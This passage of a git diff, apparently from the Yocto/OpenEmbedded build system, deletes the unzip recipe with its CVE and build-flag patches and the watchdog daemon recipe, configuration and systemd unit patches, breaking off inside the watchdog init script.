23--- unzip60.orig/unix/Makefile 2009-01-18 16:41:18.000000000 -0600
24+++ unzip60/unix/Makefile 2011-06-21 11:12:22.900003388 -0500
25@@ -52,7 +52,7 @@
26 CF = $(CFLAGS) $(CF_NOOPT)
27 LFLAGS1 =
28 LF = -o unzip$E $(LFLAGS1)
29-LF2 = -s
30+LF2 =
31
32 # UnZipSFX flags
33 SL = -o unzipsfx$E $(LFLAGS1)
34@@ -70,7 +70,7 @@
35 CHMOD = chmod
36 BINPERMS = 755
37 MANPERMS = 644
38-STRIP = strip
39+STRIP =
40 E =
41 O = .o
42 M = unix
43@@ -776,7 +776,6 @@
44 #
45 gcc: unix_make
46 $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-O3" LF2=""
47- $(STRIP) $(UNZIPS)
48
49 # Heurikon HK68 (68010), UniPlus+ System V 5.0, Green Hills C-68000
50 hk68: unix_make
diff --git a/meta/recipes-extended/unzip/unzip/cve-2014-9636.patch b/meta/recipes-extended/unzip/unzip/cve-2014-9636.patch
deleted file mode 100644
index 5fcd318b25..0000000000
--- a/meta/recipes-extended/unzip/unzip/cve-2014-9636.patch
+++ /dev/null
@@ -1,46 +0,0 @@
1From 190040ebfcf5395a6ccedede2cc9343d34f0a108 Mon Sep 17 00:00:00 2001
2From: mancha <mancha1 AT zoho DOT com>
3Date: Wed, 11 Feb 2015
4Subject: Info-ZIP UnZip buffer overflow
5
6Upstream-Status: Backport
7CVE: CVE-2014-9636
8
9By carefully crafting a corrupt ZIP archive with "extra fields" that
10purport to have compressed blocks larger than the corresponding
11uncompressed blocks in STORED no-compression mode, an attacker can
12trigger a heap overflow that can result in application crash or
13possibly have other unspecified impact.
14
15This patch ensures that when extra fields use STORED mode, the
16"compressed" and uncompressed block sizes match.
17
18Signed-off-by: mancha <mancha1 AT zoho DOT com>
19---
20 extract.c | 8 ++++++++
21 1 file changed, 8 insertions(+)
22
23--- a/extract.c
24+++ b/extract.c
25@@ -2217,6 +2217,7 @@ static int test_compr_eb(__G__ eb, eb_si
26 ulg eb_ucsize;
27 uch *eb_ucptr;
28 int r;
29+ ush method;
30
31 if (compr_offset < 4) /* field is not compressed: */
32 return PK_OK; /* do nothing and signal OK */
33@@ -2226,6 +2227,13 @@ static int test_compr_eb(__G__ eb, eb_si
34 eb_size <= (compr_offset + EB_CMPRHEADLEN)))
35 return IZ_EF_TRUNC; /* no compressed data! */
36
37+ method = makeword(eb + (EB_HEADSIZE + compr_offset));
38+ if ((method == STORED) &&
39+ (eb_size - compr_offset - EB_CMPRHEADLEN != eb_ucsize))
40+ return PK_ERR; /* compressed & uncompressed
41+ * should match in STORED
42+ * method */
43+
44 if (
45 #ifdef INT_16BIT
46 (((ulg)(extent)eb_ucsize) != eb_ucsize) ||
diff --git a/meta/recipes-extended/unzip/unzip/define-ldflags.patch b/meta/recipes-extended/unzip/unzip/define-ldflags.patch
deleted file mode 100644
index dd01c01400..0000000000
--- a/meta/recipes-extended/unzip/unzip/define-ldflags.patch
+++ /dev/null
@@ -1,18 +0,0 @@
1Pass LDFLAGS to the linker
2
3Upstream-Status: Inactive-Upstream [need a new release]
4
5Signed-off-by: Mikhail Durnev <Mikhail_Durnev@mentor.com>
6
7diff -Naur old/unix/configure new/unix/configure
8--- old/unix/configure 2014-01-13 21:59:27.000000000 +1100
9+++ new/unix/configure 2014-01-14 16:36:02.000000000 +1100
10@@ -16,7 +16,7 @@
11 CFLAGSR=${CFLAGS}
12 IZ_BZIP2=${3}
13 CFLAGS="${CFLAGS} -I. -DUNIX"
14-LFLAGS1=""
15+LFLAGS1=${LDFLAGS}
16 LFLAGS2=""
17 LN="ln -s"
18
diff --git a/meta/recipes-extended/unzip/unzip/fix-security-format.patch b/meta/recipes-extended/unzip/unzip/fix-security-format.patch
deleted file mode 100644
index 2889c652d4..0000000000
--- a/meta/recipes-extended/unzip/unzip/fix-security-format.patch
+++ /dev/null
@@ -1,97 +0,0 @@
1unzip: Fixing security formatting issues
2
3Fix security formatting issues related to sprintf parameters expeted.
4
5[YOCTO #9551]
6[https://bugzilla.yoctoproject.org/show_bug.cgi?id=9551]
7
8Upstream-Status: Inactive-Upstream [need a new release]
9
10Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
11
12diff --git a/extract.c b/extract.c
13index 7cd9123..25c5a62 100644
14--- a/extract.c
15+++ b/extract.c
16@@ -475,7 +475,7 @@ int extract_or_test_files(__G) /* return PK-type error code */
17 Info(slide, 0x401, ((char *)slide,
18 LoadFarString(CentSigMsg), j + blknum*DIR_BLKSIZ + 1));
19 Info(slide, 0x401, ((char *)slide,
20- LoadFarString(ReportMsg)));
21+ "%s",LoadFarString(ReportMsg)));
22 error_in_archive = PK_BADERR;
23 }
24 reached_end = TRUE; /* ...so no more left to do */
25@@ -754,8 +754,8 @@ int extract_or_test_files(__G) /* return PK-type error code */
26
27 #ifndef SFX
28 if (no_endsig_found) { /* just to make sure */
29- Info(slide, 0x401, ((char *)slide, LoadFarString(EndSigMsg)));
30- Info(slide, 0x401, ((char *)slide, LoadFarString(ReportMsg)));
31+ Info(slide, 0x401, ((char *)slide, "%s", LoadFarString(EndSigMsg)));
32+ Info(slide, 0x401, ((char *)slide, "%s", LoadFarString(ReportMsg)));
33 if (!error_in_archive) /* don't overwrite stronger error */
34 error_in_archive = PK_WARN;
35 }
36diff --git a/list.c b/list.c
37index 15e0011..0b484f6 100644
38--- a/list.c
39+++ b/list.c
40@@ -181,7 +181,7 @@ int list_files(__G) /* return PK-type error code */
41 Info(slide, 0x401,
42 ((char *)slide, LoadFarString(CentSigMsg), j));
43 Info(slide, 0x401,
44- ((char *)slide, LoadFarString(ReportMsg)));
45+ ((char *)slide, "%s", LoadFarString(ReportMsg)));
46 return PK_BADERR; /* sig not found */
47 }
48 }
49@@ -507,7 +507,7 @@ int list_files(__G) /* return PK-type error code */
50 && (!G.ecrec.is_zip64_archive)
51 && (memcmp(G.sig, end_central_sig, 4) != 0)
52 ) { /* just to make sure again */
53- Info(slide, 0x401, ((char *)slide, LoadFarString(EndSigMsg)));
54+ Info(slide, 0x401, ((char *)slide, "%s", LoadFarString(EndSigMsg)));
55 error_in_archive = PK_WARN; /* didn't find sig */
56 }
57
58@@ -591,7 +591,7 @@ int get_time_stamp(__G__ last_modtime, nmember) /* return PK-type error code */
59 Info(slide, 0x401,
60 ((char *)slide, LoadFarString(CentSigMsg), j));
61 Info(slide, 0x401,
62- ((char *)slide, LoadFarString(ReportMsg)));
63+ ((char *)slide, "%s", LoadFarString(ReportMsg)));
64 return PK_BADERR; /* sig not found */
65 }
66 }
67@@ -674,7 +674,7 @@ int get_time_stamp(__G__ last_modtime, nmember) /* return PK-type error code */
68 ---------------------------------------------------------------------------*/
69
70 if (memcmp(G.sig, end_central_sig, 4)) { /* just to make sure again */
71- Info(slide, 0x401, ((char *)slide, LoadFarString(EndSigMsg)));
72+ Info(slide, 0x401, ((char *)slide, "%s", LoadFarString(EndSigMsg)));
73 error_in_archive = PK_WARN;
74 }
75 if (*nmember == 0L && error_in_archive <= PK_WARN)
76diff --git a/zipinfo.c b/zipinfo.c
77index 0ac75b3..1e7fa82 100644
78--- a/zipinfo.c
79+++ b/zipinfo.c
80@@ -833,7 +833,7 @@ int zipinfo(__G) /* return PK-type error code */
81 Info(slide, 0x401,
82 ((char *)slide, LoadFarString(CentSigMsg), j));
83 Info(slide, 0x401,
84- ((char *)slide, LoadFarString(ReportMsg)));
85+ ((char *)slide, "%s", LoadFarString(ReportMsg)));
86 error_in_archive = PK_BADERR; /* sig not found */
87 break;
88 }
89@@ -1022,7 +1022,7 @@ int zipinfo(__G) /* return PK-type error code */
90 && (!G.ecrec.is_zip64_archive)
91 && (memcmp(G.sig, end_central_sig, 4) != 0)
92 ) { /* just to make sure again */
93- Info(slide, 0x401, ((char *)slide, LoadFarString(EndSigMsg)));
94+ Info(slide, 0x401, ((char *)slide, "%s", LoadFarString(EndSigMsg)));
95 error_in_archive = PK_WARN; /* didn't find sig */
96 }
97
diff --git a/meta/recipes-extended/unzip/unzip/gcc15.patch b/meta/recipes-extended/unzip/unzip/gcc15.patch
deleted file mode 100644
index 42a2f81681..0000000000
--- a/meta/recipes-extended/unzip/unzip/gcc15.patch
+++ /dev/null
@@ -1,17 +0,0 @@
1Do not redefine gmtime(), localtime()
2
3They are already provided by system time.h header
4
5Upstream-Status: Inactive-Upstream [need a new release]
6
7Sign-off-by: Khem Raj <raj.khem@gmail.com>
8--- a/unix/unxcfg.h
9+++ b/unix/unxcfg.h
10@@ -117,7 +117,6 @@ typedef struct stat z_stat;
11 # endif
12 #else
13 # include <time.h>
14- struct tm *gmtime(), *localtime();
15 #endif
16
17 #if (defined(BSD4_4) || (defined(SYSV) && defined(MODERN)))
diff --git a/meta/recipes-extended/unzip/unzip/symlink.patch b/meta/recipes-extended/unzip/unzip/symlink.patch
deleted file mode 100644
index 26f1c8ba86..0000000000
--- a/meta/recipes-extended/unzip/unzip/symlink.patch
+++ /dev/null
@@ -1,26 +0,0 @@
1Unzip doesn't handle large zip files well and crashes:
2
3"This only happens if you have more then 16k entries and when one of
4the 16k entry infos is reused it happend to be previously used for
5a symlink entry."
6
7This patch is taken from Fedora (https://bugzilla.redhat.com/show_bug.cgi?id=972427)
8
9Upstream-Status: Inactive-Upstream [need a new release]
10Signed-off-by: Ross Burton <ross.burton@intel.com>
11
12--- unzip60/process.c.sav 2013-06-09 12:08:57.070392264 +0200
13+++ unzip60/process.c 2013-06-09 12:10:08.641696988 +0200
14@@ -1751,6 +1751,12 @@
15 = (G.crec.general_purpose_bit_flag & (1 << 11)) == (1 << 11);
16 #endif
17
18+#ifdef SYMLINKS
19+ /* Initialize the symlink flag, may be set by the platform-specific
20+ mapattr function. */
21+ G.pInfo->symlink = 0;
22+#endif
23+
24 return PK_COOL;
25
26 } /* end function process_cdir_file_hdr() */
diff --git a/meta/recipes-extended/unzip/unzip/unzip_optimization.patch b/meta/recipes-extended/unzip/unzip/unzip_optimization.patch
deleted file mode 100644
index 4bab7b26af..0000000000
--- a/meta/recipes-extended/unzip/unzip/unzip_optimization.patch
+++ /dev/null
@@ -1,127 +0,0 @@
1unzip: use optimization from bitbake
2
3Remove -O3 optimizations to use bitbake default optimization levels.
4
5Upstream-Status: Inappropriate [configuration]
6
7Signed-off-by: Mikko Rapeli <mikko.rapeli@bmw.de>
8
9diff -rup unix-orig/configure unix/configure
10--- a/unix-orig/configure 2021-04-16 10:25:03.120858292 +0000
11+++ b/unix/configure 2021-04-16 10:46:43.292546138 +0000
12@@ -70,7 +70,7 @@ int main()
13 _EOF_
14 $CC $CFLAGS -c conftest.c > /dev/null 2>/dev/null
15 if test $? -eq 0; then
16- CFLAGS_OPT='-O3'
17+ CFLAGS_OPT=''
18 echo " DEC C ($CFLAGS_OPT)"
19 else
20 # HP-UX HP C?
21@@ -111,7 +111,7 @@ int main()
22 _EOF_
23 $CC $CFLAGS -c conftest.c > /dev/null 2>/dev/null
24 if test $? -eq 0; then
25- CFLAGS_OPT='-O3'
26+ CFLAGS_OPT=''
27 echo " GNU C ($CFLAGS_OPT)"
28 # Special Mac OS X shared library "ld" option?
29 if test ` uname -s 2> /dev/null ` = 'Darwin'; then
30diff -rup unix-orig/Makefile unix/Makefile
31--- a/unix-orig/Makefile 2021-04-16 10:25:03.000863878 +0000
32+++ b/unix/Makefile 2021-04-16 10:47:31.658299278 +0000
33@@ -47,7 +47,7 @@ LD = $(CC)# must match, else "unresolved
34 AS = as
35 LOC = $(D_USE_BZ2) $(LOCAL_UNZIP)
36 AF = $(LOC)
37-CFLAGS = -O
38+CFLAGS =
39 CF_NOOPT = -I. -I$(IZ_BZIP2) -DUNIX $(LOC)
40 CF = $(CFLAGS) $(CF_NOOPT)
41 LFLAGS1 =
42@@ -594,12 +594,12 @@ generic_shlib: unix_make
43 @echo\
44 'which is UnZip linked with the DLL). This target is an example only.'
45 @echo ""
46- $(MAKE) objsdll CC=gcc CFLAGS="-O3 -Wall -fPIC -DDLL"
47+ $(MAKE) objsdll CC=gcc CFLAGS="-Wall -fPIC -DDLL"
48 gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)
49 $(RM) libunzip.so.0 libunzip.so
50 $(LN) -s libunzip.so.0.4 libunzip.so.0
51 $(LN) -s libunzip.so.0 libunzip.so
52- gcc -c -O unzipstb.c
53+ gcc -c unzipstb.c
54 gcc -o unzip_shlib unzipstb.o -L. -lunzip
55
56 #----------------------------------------------------------------------------
57@@ -775,7 +775,7 @@ freebsd: unix_make
58 # with "echo" instead).
59 #
60 gcc: unix_make
61- $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-O3" LF2=""
62+ $(MAKE) unzips CC=gcc LD=gcc CFLAGS="" LF2=""
63
64 # Heurikon HK68 (68010), UniPlus+ System V 5.0, Green Hills C-68000
65 hk68: unix_make
66@@ -792,7 +792,7 @@ isc: unix_make
67 isc_gcc: unix_make
68 $(MAKE) unzips AS=gcc CC=gcc LD=gcc CRCA_O=crc_gcc$O \
69 LF="-shlib $(LF)" SL="-shlib $(SL)" FL="-shlib $(FL)" LF2="" \
70- CFLAGS="-O3" LOC="-DSYSV -DASM_CRC -DNO_UID_GID -DNEED_PTEM -DNO_LCHOWN -DNO_LCHMOD $(LOC)" \
71+ CFLAGS="" LOC="-DSYSV -DASM_CRC -DNO_UID_GID -DNEED_PTEM -DNO_LCHOWN -DNO_LCHMOD $(LOC)" \
72 AF="-DNO_UNDERLINE -Djecxz=jcxz -DALIGNMENT='.align 16' $(AF)"
73 $(STRIP) $(UNZIPS)
74
75@@ -808,7 +808,7 @@ isi: unix_make
76 linux: unix_make
77 @echo 'NOTE: use linux_noasm target for non-Intel Linux compiles.'
78 $(MAKE) unzips CC=gcc LD=gcc AS=gcc\
79- CFLAGS="-O3 -Wall -DASM_CRC"\
80+ CFLAGS="-Wall -DASM_CRC"\
81 AF="-Di386 $(AF)" CRCA_O=crc_gcc$O
82 # GRR: this echo is pointless; if user gets this far, no difference to install
83 # @echo 'Be sure to use the install_asm target rather than the install target'
84@@ -818,14 +818,14 @@ linux_asm: linux
85 # Linux (Posix, approximately SysV): virtually any version since before 0.96,
86 # for any platform. Change "-O" to "-O3" or whatever, as desired...
87 linux_noasm: unix_make
88- $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-O -Wall"
89+ $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-Wall"
90
91 # Linux with lcc compiler: __inline__ (stat.h) not recognized, and must edit
92 # /usr/include/gnu/types.h to get rid of "long long" if __LCC__ defined. -O3
93 # (or -O2 or -O) is ignored. [GRR 960828: test target only]
94 #
95 linux_lcc: unix_make
96- $(MAKE) unzips CC=lcc LD=lcc CFLAGS="-O3 -Wall -D__inline__= "
97+ $(MAKE) unzips CC=lcc LD=lcc CFLAGS="-Wall -D__inline__= "
98
99 # Linux host with go32 (djgpp) cross-compiler (go32crs.tgz) for 32-bit DOS.
100 linux_dos: unix_make
101@@ -844,7 +844,7 @@ linux_dos: unix_make
102 # library).
103 #
104 linux_shlib: unix_make
105- $(MAKE) objsdll CC=gcc CFLAGS="-O3 -Wall -fPIC"\
106+ $(MAKE) objsdll CC=gcc CFLAGS="-Wall -fPIC"\
107 LOC="-DDLL -DASM_CRC $(LOC)"\
108 AS=gcc AF="-fPIC -Di386 $(AF)" CRCA_O=crc_gcc$O
109 gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)\
110@@ -858,7 +858,7 @@ linux_shlib: unix_make
111 # instead of the original UnZip version. (libz was libgz prior to 0.94)
112 linux_shlibz: unix_make
113 $(MAKE) objsdll CC=gcc AS=gcc AF="-fPIC -Di386 $(AF)" CRCA_O=crc_gcc$O\
114- CFLAGS="-O3 -Wall -fPIC" LOC="-DDLL -DUSE_ZLIB -DASM_CRC $(LOC)"
115+ CFLAGS="-Wall -fPIC" LOC="-DDLL -DUSE_ZLIB -DASM_CRC $(LOC)"
116 gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)\
117 crc_gcc.pic.o
118 ln -sf libunzip.so.0.4 libunzip.so.0
119@@ -871,7 +871,7 @@ lynx: unix_make
120
121 # Macintosh MacOS X (Unix-compatible enviroment), using standard compiler
122 macosx: unix_make
123- $(MAKE) unzips CFLAGS="-O3 -Wall -DBSD" LF2=""
124+ $(MAKE) unzips CFLAGS="-Wall -DBSD" LF2=""
125 $(STRIP) $(UNZIPS)
126
127 # Macintosh MacOS X (Unix-compatible enviroment), using gcc
diff --git a/meta/recipes-extended/unzip/unzip_6.0.bb b/meta/recipes-extended/unzip/unzip_6.0.bb
deleted file mode 100644
index 1d22855e1c..0000000000
--- a/meta/recipes-extended/unzip/unzip_6.0.bb
+++ /dev/null
@@ -1,71 +0,0 @@
1SUMMARY = "Utilities for extracting and viewing files in .zip archives"
2HOMEPAGE = "http://www.info-zip.org"
3DESCRIPTION = "Info-ZIP's purpose is to provide free, portable, high-quality versions of the Zip and UnZip compressor-archiver utilities that are compatible with the DOS-based PKZIP by PKWARE, Inc."
4SECTION = "console/utils"
5LICENSE = "Info-ZIP"
6LIC_FILES_CHKSUM = "file://LICENSE;md5=94caec5a51ef55ef711ee4e8b1c69e29"
7PE = "1"
8
9SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/UnZip%206.x%20%28latest%29/UnZip%206.0/unzip60.tar.gz \
10 file://avoid-strip.patch \
11 file://define-ldflags.patch \
12 file://06-unzip60-alt-iconv-utf8_CVE-2015-1315.patch \
13 file://cve-2014-9636.patch \
14 file://09-cve-2014-8139-crc-overflow.patch \
15 file://10-cve-2014-8140-test-compr-eb.patch \
16 file://11-cve-2014-8141-getzip64data.patch \
17 file://CVE-2015-7696.patch \
18 file://CVE-2015-7697.patch \
19 file://fix-security-format.patch \
20 file://18-cve-2014-9913-unzip-buffer-overflow.patch \
21 file://19-cve-2016-9844-zipinfo-buffer-overflow.patch \
22 file://symlink.patch \
23 file://0001-unzip-fix-CVE-2018-1000035.patch \
24 file://CVE-2018-18384.patch \
25 file://CVE-2019-13232_p1.patch \
26 file://CVE-2019-13232_p2.patch \
27 file://CVE-2019-13232_p3.patch \
28 file://unzip_optimization.patch \
29 file://0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch \
30 file://CVE-2021-4217.patch \
31 file://CVE-2022-0529.patch \
32 file://CVE-2022-0530.patch \
33 file://0001-configure-Add-correct-system-headers-and-prototypes-.patch \
34 file://0001-unix-configure-fix-detection-for-cross-compilation.patch \
35 file://gcc15.patch \
36"
37UPSTREAM_VERSION_UNKNOWN = "1"
38
39SRC_URI[sha256sum] = "036d96991646d0449ed0aa952e4fbe21b476ce994abc276e49d30e686708bd37"
40
41S = "${UNPACKDIR}/unzip60"
42
43# Makefile uses CF_NOOPT instead of CFLAGS. We lifted the values from
44# Makefile and add CFLAGS. Optimization will be overriden by unzip
45# configure to be -O3.
46#
47EXTRA_OEMAKE = "-e MAKEFLAGS= STRIP=true LF2='' \
48 'CF_NOOPT=-I. -Ibzip2 -DUNIX ${CFLAGS}'"
49
50export LD = "${CC}"
51LD:class-native = "${CC}"
52
53do_compile() {
54 oe_runmake -f unix/Makefile generic
55}
56
57do_install() {
58 oe_runmake -f unix/Makefile install prefix=${D}${prefix}
59 install -d ${D}${mandir}
60 mv ${D}${prefix}/man/* ${D}${mandir}
61 rmdir ${D}${prefix}/man/
62}
63
64inherit update-alternatives
65
66ALTERNATIVE_PRIORITY = "100"
67
68ALTERNATIVE:${PN} = "unzip"
69ALTERNATIVE_LINK_NAME[unzip] = "${bindir}/unzip"
70
71BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/watchdog/watchdog-config.bb b/meta/recipes-extended/watchdog/watchdog-config.bb
deleted file mode 100644
index 58c565bd30..0000000000
--- a/meta/recipes-extended/watchdog/watchdog-config.bb
+++ /dev/null
@@ -1,29 +0,0 @@
1SUMMARY = "Software watchdog"
2DESCRIPTION = "Watchdog is a daemon that checks if your system is still \
3working. If programs in user space are not longer executed it will reboot \
4the system."
5HOMEPAGE = "http://watchdog.sourceforge.net/"
6BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194"
7
8LICENSE = "MIT"
9LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
10
11SRC_URI = " \
12 file://watchdog.default \
13 file://watchdog.conf \
14"
15
16S = "${UNPACKDIR}"
17
18# The default value is 60 seconds when null.
19WATCHDOG_TIMEOUT ??= ""
20
21do_install() {
22 install -Dm 0644 ${UNPACKDIR}/watchdog.default ${D}${sysconfdir}/default/watchdog
23 install -Dm 0644 ${UNPACKDIR}/watchdog.conf ${D}${sysconfdir}/watchdog.conf
24
25 if [ -n "${WATCHDOG_TIMEOUT}" ]; then
26 echo "watchdog-timeout = ${WATCHDOG_TIMEOUT}" >> ${D}/etc/watchdog.conf
27 fi
28}
29
diff --git a/meta/recipes-extended/watchdog/watchdog-config/watchdog.conf b/meta/recipes-extended/watchdog/watchdog-config/watchdog.conf
deleted file mode 100644
index c493d12d34..0000000000
--- a/meta/recipes-extended/watchdog/watchdog-config/watchdog.conf
+++ /dev/null
@@ -1,42 +0,0 @@
1#ping = 172.31.14.1
2#ping = 172.26.1.255
3#interface = eth0
4#file = /var/log/messages
5#change = 1407
6
7# Uncomment to enable test. Setting one of these values to '0' disables it.
8# These values will hopefully never reboot your machine during normal use
9# (if your machine is really hung, the loadavg will go much higher than 25)
10#max-load-1 = 24
11#max-load-5 = 18
12#max-load-15 = 12
13
14# Note that this is the number of pages!
15# To get the real size, check how large the pagesize is on your machine.
16#min-memory = 1
17
18#repair-binary = /usr/sbin/repair
19#repair-timeout =
20#test-binary =
21#test-timeout =
22
23watchdog-device = /dev/watchdog
24
25# Defaults compiled into the binary
26#temperature-device =
27#max-temperature = 120
28
29# Defaults compiled into the binary
30#admin = root
31#interval = 1
32#logtick = 1
33#log-dir = /var/log/watchdog
34
35# This greatly decreases the chance that watchdog won't be scheduled before
36# your machine is really loaded
37realtime = yes
38priority = 1
39
40# Check if rsyslogd is still running by enabling the following line
41#pidfile = /var/run/rsyslogd.pid
42
diff --git a/meta/recipes-extended/watchdog/watchdog-config/watchdog.default b/meta/recipes-extended/watchdog/watchdog-config/watchdog.default
deleted file mode 100644
index cee5fdc2b6..0000000000
--- a/meta/recipes-extended/watchdog/watchdog-config/watchdog.default
+++ /dev/null
@@ -1,3 +0,0 @@
1# Start watchdog at boot time? 0 or 1
2run_watchdog=1
3watchdog_module=none
diff --git a/meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch b/meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch
deleted file mode 100644
index 8c419e1d11..0000000000
--- a/meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch
+++ /dev/null
@@ -1,37 +0,0 @@
1From ca1d379fa13c4055d42d2ff3a647b4397768efcd Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Tue, 23 Aug 2022 19:23:26 -0700
4Subject: [PATCH] shutdown: Do not guard sys/quota.h sys/swap.h and
5 sys/reboot.h with __GLIBC__
6
7These headers are provided by uclibc/musl/glibc and bionic so we can
8assume they are not needed to be glibc specific includes. This also
9ensures that we get proper declaration of reboot() API
10
11Upstream-Status: Submitted [https://sourceforge.net/p/watchdog/patches/12/]
12Signed-off-by: Khem Raj <raj.khem@gmail.com>
13---
14 src/shutdown.c | 4 ----
15 1 file changed, 4 deletions(-)
16
17diff --git a/src/shutdown.c b/src/shutdown.c
18index 1d9a857..6aea0d0 100644
19--- a/src/shutdown.c
20+++ b/src/shutdown.c
21@@ -29,13 +29,9 @@
22 #include "extern.h"
23 #include "ext2_mnt.h"
24
25-#if defined __GLIBC__
26 #include <sys/quota.h>
27 #include <sys/swap.h>
28 #include <sys/reboot.h>
29-#else /* __GLIBC__ */
30-#include <linux/quota.h>
31-#endif /* __GLIBC__ */
32
33 #include <unistd.h>
34
35--
362.37.2
37
diff --git a/meta/recipes-extended/watchdog/watchdog/0001-watchdog-remove-interdependencies-of-watchdog-and-wd.patch b/meta/recipes-extended/watchdog/watchdog/0001-watchdog-remove-interdependencies-of-watchdog-and-wd.patch
deleted file mode 100644
index 075a98e5e5..0000000000
--- a/meta/recipes-extended/watchdog/watchdog/0001-watchdog-remove-interdependencies-of-watchdog-and-wd.patch
+++ /dev/null
@@ -1,68 +0,0 @@
1From c1fe14fa5bd168292cc4670034bc48b954e9dac7 Mon Sep 17 00:00:00 2001
2From: "Maxin B. John" <maxin.john@intel.com>
3Date: Tue, 13 Mar 2018 14:49:55 +0200
4Subject: [PATCH] watchdog: remove interdependencies of watchdog and
5 wd_keepalive services
6
7Since watchdog and watchdog-keepalive packages can't be installed
8together, remove the inter-dependencies of watchdog and wd_keepalive
9services
10
11Upstream-Status: Inappropriate [oe specific]
12
13Signed-off-by: Maxin B. John <maxin.john@intel.com>
14---
15 debian/watchdog.service | 9 +++------
16 debian/wd_keepalive.service | 10 +++++-----
17 2 files changed, 8 insertions(+), 11 deletions(-)
18
19diff --git a/debian/watchdog.service b/debian/watchdog.service
20index 7a2fc36..f31d1fe 100644
21--- a/debian/watchdog.service
22+++ b/debian/watchdog.service
23@@ -1,16 +1,13 @@
24 [Unit]
25 Description=watchdog daemon
26-Conflicts=wd_keepalive.service
27 After=multi-user.target
28-OnFailure=wd_keepalive.service
29
30 [Service]
31 Type=forking
32 EnvironmentFile=/etc/default/watchdog
33 ExecStartPre=/bin/sh -c '[ -z "${watchdog_module}" ] || [ "${watchdog_module}" = "none" ] || /sbin/modprobe $watchdog_module'
34-ExecStart=/bin/sh -c '[ $run_watchdog != 1 ] || exec /usr/sbin/watchdog $watchdog_options'
35-ExecStopPost=/bin/sh -c '[ $run_wd_keepalive != 1 ] || false'
36+ExecStart=/bin/sh -c '[ x$run_watchdog != x1 ] || exec /usr/sbin/watchdog $watchdog_options'
37+PIDFile=/run/watchdog.pid
38
39 [Install]
40-WantedBy=default.target
41-
42+WantedBy=multi-user.target
43diff --git a/debian/wd_keepalive.service b/debian/wd_keepalive.service
44index 45b018e..7f8b1dc 100644
45--- a/debian/wd_keepalive.service
46+++ b/debian/wd_keepalive.service
47@@ -1,13 +1,13 @@
48 [Unit]
49 Description=watchdog keepalive daemon
50-Before=watchdog.service shutdown.target
51-Conflicts=watchdog.service shutdown.target
52+After=multi-user.target
53
54 [Service]
55 Type=forking
56 EnvironmentFile=/etc/default/watchdog
57 ExecStartPre=/bin/sh -c '[ -z "${watchdog_module}" ] || [ "${watchdog_module}" = "none" ] || /sbin/modprobe $watchdog_module'
58-ExecStartPre=-/bin/systemctl reset-failed watchdog.service
59 ExecStart=/usr/sbin/wd_keepalive $watchdog_options
60-ExecStartPost=/bin/sh -c 'ln -s /var/run/wd_keepalive.pid /run/sendsigs.omit.d/wd_keepalive.pid'
61-ExecStopPost=/bin/sh -c 'rm -f /run/sendsigs.omit.d/wd_keepalive.pid'
62+PIDFile=/var/run/wd_keepalive.pid
63+
64+[Install]
65+WantedBy=multi-user.target
66--
672.4.0
68
diff --git a/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch b/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch
deleted file mode 100644
index 5c5d2f4e44..0000000000
--- a/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch
+++ /dev/null
@@ -1,30 +0,0 @@
1From b5cb6166dbfa57d1d94b19d4a098991a817f68f5 Mon Sep 17 00:00:00 2001
2From: Chen Qi <Qi.Chen@windriver.com>
3Date: Thu, 15 Oct 2020 10:02:17 +0800
4Subject: [PATCH] wd_keepalive.service: use /run instead of /var/run
5
6/var/run is deprecated by systemd, use /run instead.
7
8Upstream-Status: Pending
9
10Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
11---
12 debian/wd_keepalive.service | 2 +-
13 1 file changed, 1 insertion(+), 1 deletion(-)
14
15diff --git a/debian/wd_keepalive.service b/debian/wd_keepalive.service
16index 7f8b1dc..0f2a153 100644
17--- a/debian/wd_keepalive.service
18+++ b/debian/wd_keepalive.service
19@@ -7,7 +7,7 @@ Type=forking
20 EnvironmentFile=/etc/default/watchdog
21 ExecStartPre=/bin/sh -c '[ -z "${watchdog_module}" ] || [ "${watchdog_module}" = "none" ] || /sbin/modprobe $watchdog_module'
22 ExecStart=/usr/sbin/wd_keepalive $watchdog_options
23-PIDFile=/var/run/wd_keepalive.pid
24+PIDFile=/run/wd_keepalive.pid
25
26 [Install]
27 WantedBy=multi-user.target
28--
292.17.1
30
diff --git a/meta/recipes-extended/watchdog/watchdog/watchdog.init b/meta/recipes-extended/watchdog/watchdog/watchdog.init
deleted file mode 100644
index d37107cf0e..0000000000
--- a/meta/recipes-extended/watchdog/watchdog/watchdog.init
+++ /dev/null
@@ -1,110 +0,0 @@
1#!/bin/sh
2#/etc/init.d/watchdog: start watchdog daemon.
3
4### BEGIN INIT INFO
5# Provides: watchdog
6# Short-Description: Start software watchdog daemon
7# Required-Start: $all
8# Required-Stop: $all
9# Should-Start:
10# Should-Stop:
11# Default-Start: 2 3 4 5
12# Default-Stop: 0 1 6
13### END INIT INFO
14
15PATH=/bin:/usr/bin:/sbin:/usr/sbin
16
17test -x /usr/sbin/watchdog || exit 0
18
19# For configuration of the init script use the file
